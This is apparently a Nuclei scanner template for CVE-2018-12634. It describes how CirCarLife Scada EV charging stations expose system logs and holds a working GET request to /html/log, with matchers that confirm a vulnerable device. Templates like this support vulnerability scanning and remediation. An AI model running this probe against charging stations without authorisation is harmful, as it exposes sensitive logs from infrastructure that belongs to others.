id: CVE-2018-12634

info:
  name: CirCarLife Scada <4.3 - System Log Exposure
  author: geeknik
  severity: critical
  description: CirCarLife Scada before 4.3 allows remote attackers to obtain sensitive information via a direct request for the html/log or services/system/info.html URI. CirCarLife is an internet-connected electric vehicle charging station.
  impact: |
    An attacker can gain access to sensitive system logs, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade CirCarLife Scada to version 4.3 or above to fix the system log exposure vulnerability.
  reference:
    - https://circontrol.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12634
    - https://www.seebug.org/vuldb/ssvid-97353
    - https://www.exploit-db.com/exploits/45384/
    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-12634
    cwe-id: CWE-200
    epss-score: 0.57737
    epss-percentile: 0.98962
    cpe: cpe:2.3:a:circontrol:circarlife_scada:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: circontrol
    product: circarlife_scada
  tags: cve,cve2018,scada,circontrol,circarlife,logs,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/html/log"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "CirCarLife Scada"

      - type: word
        words:
          - "user.debug"
          - "user.info"
          - "EVSE"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dd840d78fca340fe55ce46cd35153f689348466bc557dc1178fdb19fc9d5e55302207a199f88e647a7e21efeff6673b79dfe98a85aec415de490601951b6537decda:922c64590222798bb761d5b6d8e72950